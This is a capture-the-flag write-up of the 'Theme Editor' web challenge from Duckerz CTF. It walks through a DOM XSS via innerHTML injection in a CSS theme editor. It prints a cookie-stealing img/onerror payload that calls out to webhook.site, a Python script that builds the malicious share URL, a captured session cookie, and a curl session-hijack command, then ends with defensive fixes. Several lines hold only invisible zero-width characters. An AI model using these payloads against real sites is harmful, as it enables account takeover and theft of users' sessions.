← Back to Writeups
CUSTOMMediumWeb

Theme Editor (Редактор тем) - Duckerz CTF

XESXOR9/2/20263 min read
#web#custom#medium#base64_url_parameter#cookie_exfiltration#innerhtml_injection#telegram_bot_trigger

Theme Editor (Редактор тем) - Duckerz CTF

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_url_parameter, cookie_exfiltration, innerHTML_injection, telegram_bot_trigger

Summary

Walkthrough of the CUSTOM Web Theme Editor (Редактор тем) - Duckerz CTF. Task: CSS theme editor with URL-based config sharing. Solution: Reflected XSS via innerHTML injection in borderWidth parameter, bypassing client-side validation to steal admin cookies through Telegram

Description

Оказывается администраторы даже такого безобидного сервиса, как редактор тем, тоже могут хранить секреты. Поделитесь своим творчеством с ними, может быть, это вам поможет

Translation: "It turns out that administrators of even such a harmless service as a theme editor can also store secrets. Share your creativity with them, maybe it will help you"

Target: http://tasks.duckerz.ru:30075/ Bot: @Theme_sharing_support_bot (Telegram)

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Application Functionality

The web application is a CSS theme editor with the following features:

  1. Configuring various style parameters (colors, sizes, fonts)
  2. Real-time theme preview
  3. Sharing themes via URL with base64-encoded config in the hash part

Vulnerable Code

In the theme-editor.js file, the applyConfig() function uses innerHTML to render the preview:

javascript
function applyConfig(config) {
    // ...
    const block = document.getElementById('canvas-block');
    if (block) {
        block.innerHTML = `
            <div style="
                border: ${config.borderWidth} ${config.blockBorderStyle} ${config.borderColor};
                // ... more styles
            ">
                Это пример содержимого блока...
            </div>
        `;
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Vulnerability

  1. The borderWidth parameter is directly inserted into innerHTML without sanitization
  2. The validateConfig() validation exists but is NOT called when loading a theme from URL hash in window.onload
  3. This is a classic Reflected XSS via DOM manipulation

Attack Vector

URL hash → base64 decode → JSON parse → applyConfig() → innerHTML injection

Solution

Step 1: Creating XSS Payload

Payload for the borderWidth field that escapes the style attribute and injects an img with onerror: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1px"><img src=x onerror="var i=new Image();i.src='https://webhook.site/YOUR-UUID?c='+document.cookie"><div style="border:1px

Step 2: Forming Malicious Config

python
#!/usr/bin/env python3
import json
import base64

webhook_url = "https://webhook.site/848acebb-61f4-474c-abbf-74cc3c3057f6"

payload = f'1px"><img src=x onerror="var i=new Image();i.src=\'{webhook_url}?c=\'+document.cookie"><div style="border:1px'

config = {
    "bg": "#ffffff",
    "textColor": "#000000",
    "headerColor": "#000000",
    "headerSize": "2em",
    "borderColor": "#cccccc",
    "borderWidth": payload,  # XSS payload here
    "fontFamily": "Arial",
    "padding": "20px",
    "margin": "0px",
    "shadowColor": "#000000",
    "shadowOffset": "4px",
    "borderRadius": "0px",
    "blockBg": "#ffffff",
    "headerFontWeight": "normal",
    "textAlign": "left",
    "lineHeight": "1.5em",
    "blockOpacity": "1.0",
    "headerTextTransform": "none",
    "blockBorderStyle": "solid",
    "shadowBlur": "4px"
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

encoded = base64.b64encode(json.dumps(config).encode()).decode()
malicious_url = f"http://tasks.duckerz.ru:30075/#theme={encoded}"

print(f"Malicious URL:\n{malicious_url}")

Step 3: Sending to Admin

Send the generated URL to the Telegram bot @Theme_sharing_support_bot (as indicated in the site footer).

Step 4: Intercepting Cookie

On webhook.site we receive a request with the admin's cookie:

GET /?c=session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn19.aWjruA.iVPpeVu1zhmhUXvAul-OyshcxK8

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Session Hijacking

bash
curl -b "session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn19.aWjruA.iVPpeVu1zhmhUXvAul-OyshcxK8" \
     http://tasks.duckerz.ru:30075/profile

The flag is displayed on the admin's profile page.

Defense

How the code should have been protected:

javascript
// 1. Use textContent instead of innerHTML
element.textContent = userInput;

// 2. Or sanitize through DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);

// 3. Validate on the server
// 4. Use CSP headers
// 5. Set HttpOnly flag on cookie

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering base64_url_parameter, cookie_exfiltration, innerHTML_injection, telegram_bot_trigger was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-19 • CUSTOM • Theme Editor (Редактор тем) - Duckerz CTF • Difficulty: Medium